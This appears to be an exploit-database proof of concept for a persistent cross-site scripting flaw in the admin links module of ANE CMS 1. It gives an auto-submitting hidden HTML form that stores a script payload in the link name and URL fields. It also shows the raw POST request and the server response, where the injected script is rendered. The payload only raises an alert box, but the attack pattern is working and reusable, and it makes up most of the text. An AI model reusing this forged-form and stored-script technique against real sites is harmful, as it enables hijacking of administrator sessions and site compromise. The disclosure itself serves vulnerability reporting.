1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 |
======================================================================= ANE CMS 1 Persistent XSS Vulnerability ======================================================================= by Pratul Agrawal # Vulnerability found in- Admin module # email Pratulag@yahoo.com # company aksitservices # Credit by Pratul Agrawal # SoftwareANE CMS 1 # CategoryCMS / Portals # Plateform php # Proof of concept # Targeted URL:http://server/acp/index.php?p=cfg&m=links In ADD LINKS Field provide the malicious script to store in the Database. That is- <html> <body> <form name="XYZ" action="http://server/acp/index.php?p=cfg&m=links&id=0" method="post"> <input type=hidden name="name" value=""><script>alert("XSS")</script>"> <input type=hidden name="link" value=""><script>alert("XSS")</script>"> <input type=hidden name="type" value="1"> <input type=hidden name="view" value="0"> </form> <script> document.XYZ.submit(); </script> </body> </html> ======================================================================= Request - ======================================================================= POST /acp/index.php?p=cfg&m=links&id=0 HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://server/acp/index.php?p=cfg&m=links Cookie: PHPSESSID=200fecb6b36334b983ebe251d11a5df9 Content-Type: application/x-www-form-urlencoded Content-Length: 41 name="><script>alert("XSS")</script>&link="><script>alert("XSS")</script>&type=1&view=0 ======================================================================= ======================================================================= Response- ======================================================================= HTTP/1.1 200 OK Date: Thu, 11 Mar 2010 06:59:03 GMT Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset: utf-8 Content-Length: 7771 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Transdmin Light</title> <!-- CSS --> <link href="https://www.exploit-db.com/exploits/11687/skins/aaa/css/transdmin.css" rel="stylesheet" type="text/css" media="screen" /> <!--[if IE 6]><link rel="stylesheet" type="text/css" media="screen" href="https://www.exploit-db.com/exploits/11687/skins/aaa/css/ie6.css" /><![endif]--> <!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen" href="https://www.exploit-db.com/exploits/11687/skins/aaa/css/ie7.css" /><![endif]--> <!-- JavaScripts--> <link rel="stylesheet" type="text/css" href="http://server/system/js/jquery.jgrowl.css" media="screen"/> <script type="text/javascript" src="http://server/system/js/jquery-1.3.2.min.js"></script><script type="text/javascript" src="http://server/system/js/jquery.jgrowl_minimized.js"></script> <style>div.jGrowl div.green { background-color: #00D400; color: navy; }</style> </head> <body> <div id="wrapper"> <!-- h1 tag stays for the logo, you can use the a tag for linking the index page --> <h1><a href="https://www.exploit-db.com/exploits/11687/#"><span>Administration</span></a></h1> <!-- You can name the links with lowercase, they will be transformed to uppercase by CSS, we prefered to name them with uppercase to have the same effect with disabled stylesheet --> <ul id="mainNav"> <li><a href="https://www.exploit-db.com/exploits/11687/index.php">Dashboard</a></li> <li><a href="https://www.exploit-db.com/exploits/11687/?p=cfg">Configuration</a></li> <li><a href="https://www.exploit-db.com/exploits/11687/?p=tpl">Design</a></li> <li><a href="https://www.exploit-db.com/exploits/11687/?p=mod">Modules</a></li> <li class="logout"><a href="https://www.exploit-db.com/exploits/11687/#">Logout Admin</a></li> <li class="logout"><a href="https://www.exploit-db.com/exploits/index.php">CMS</a></li> </ul> <!-- // #end mainNav --> <div id="containerHolder"> <div id="container"> <div id="sidebar"> <ul class="sideNav"> <li><a href="https://www.exploit-db.com/exploits/11687/?p=cfg">Show Setting</a></li> <li><a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=mod">Modify Setting</a></li> <li><a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links">Links Management</a></li> <li><a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=reposerver">Repository Server</a></li> </ul> </div> <h2><a href="https://www.exploit-db.com/exploits/11687/#">Configuration</a> » <a href="https://www.exploit-db.com/exploits/11687/#" class="active">Links</a></h2> <div id="main"><br> <form action="?p=cfg&m=links&id=0" class="jNice" method="POST"> <h3>Aggiungi un nuovo Link</h3> <fieldset><p><label>Nome link:</label><input type="text" class="text-long" name="name" value=""/></p> <p><label>Nome link:</label><input type="text" class="text-long" name="link" value=""/></p> <p><label>Tipo Link:</label><input type="radio" name="type" value="1" checked>Barra Links <input type="radio" name="type" value="2">Menu Links</p> <p><label>Accesso:</label> <select name="view"> <option value="0">Visible only to guests</option> <option value="1">Visible to all</option> <option value="2">Visible only to members</option> <option value="3">Visible only to admins</option> </select> </p> <input type="submit" value="Send" /> </fieldset> </form> <table cellpadding="0" cellspacing="0"> <tr> <td>Name</td> <td>Link</td> <td>Options</td> </tr> <tr><td colspan="4">Bar Links</td></tr> <tr class="odd"> <td>Home</td> <td>index.php</td> <td><a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=modify&id=1">Modify</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=delete&id=1">Delete</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=move&type=down&id=1">Move Down</a></td> </tr> <tr class="odd"> <td>Blog</td> <td>blog</td> <td><a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=modify&id=2">Modify</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=delete&id=2">Delete</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=move&type=up&id=2">Move up</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=move&type=down&id=2">Move Down</a></td> </tr> <tr class="odd"> <td>Registrati</td> <td>register</td> <td><a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=modify&id=4">Modify</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=delete&id=4">Delete</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=move&type=up&id=4">Move up</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=move&type=down&id=4">Move Down</a></td> </tr> <tr class="odd"> <td>ACP</td> <td>acp</td> <td><a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=modify&id=5">Modify</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=delete&id=5">Delete</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=move&type=up&id=5">Move up</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=move&type=down&id=5">Move Down</a></td> </tr> <tr class="odd"> <td>Widgets</td> <td>index.php?modifywidgets</td> <td><a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=modify&id=6">Modify</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=delete&id=6">Delete</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=move&type=up&id=6">Move up</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=move&type=down&id=6">Move Down</a></td> </tr> <tr class="odd"> <td>master</td> <td>master.asp</td> <td><a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=modify&id=38">Modify</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=delete&id=38">Delete</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=move&type=up&id=38">Move up</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=move&type=down&id=38">Move Down</a></td> </tr> <tr class="odd"> <td>"><script>alert("XSS")</script></td> <td>"><script>alert("XSS")</script></td> <td><a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=modify&id=39">Modify</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=delete&id=39">Delete</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=move&type=up&id=39">Move up</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=move&type=down&id=39">Move Down</a></td> </tr> <tr><td colspan="4">Menu Links</td></tr> <tr class="odd"> <td>home</td> <td>index.php</td> <td><a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=modify&id=14">Modify</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=delete&id=14">Delete</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=move&type=up&id=14">Move up</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=move&type=down&id=14">Move Down</a></td> </tr> <tr class="odd"> <td>Blog</td> <td>blog</td> <td><a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=modify&id=19">Modify</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=delete&id=19">Delete</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=move&type=up&id=19">Move up</a> <a href="https://www.exploit-db.com/exploits/11687/?p=cfg&m=links&a=move&type=down&id=19">Move Down</a></td> </tr> </table> <br /> </div> <!-- // #main --> <div class="clear"></div> </div> <!-- // #container --> </div> <!-- // #containerHolder --> <p id="footer">Feel free to use and customize it. <a href="http://server">Credit is appreciated.</a></p> </div> <!-- // #wrapper --> <script type="text/javascript"> $(function() { });</script> </body> </html> ======================================================================= After completion Just Refres the page and the script get executed again and again. #If you have any questions, comments, or concerns, feel free to contact me. |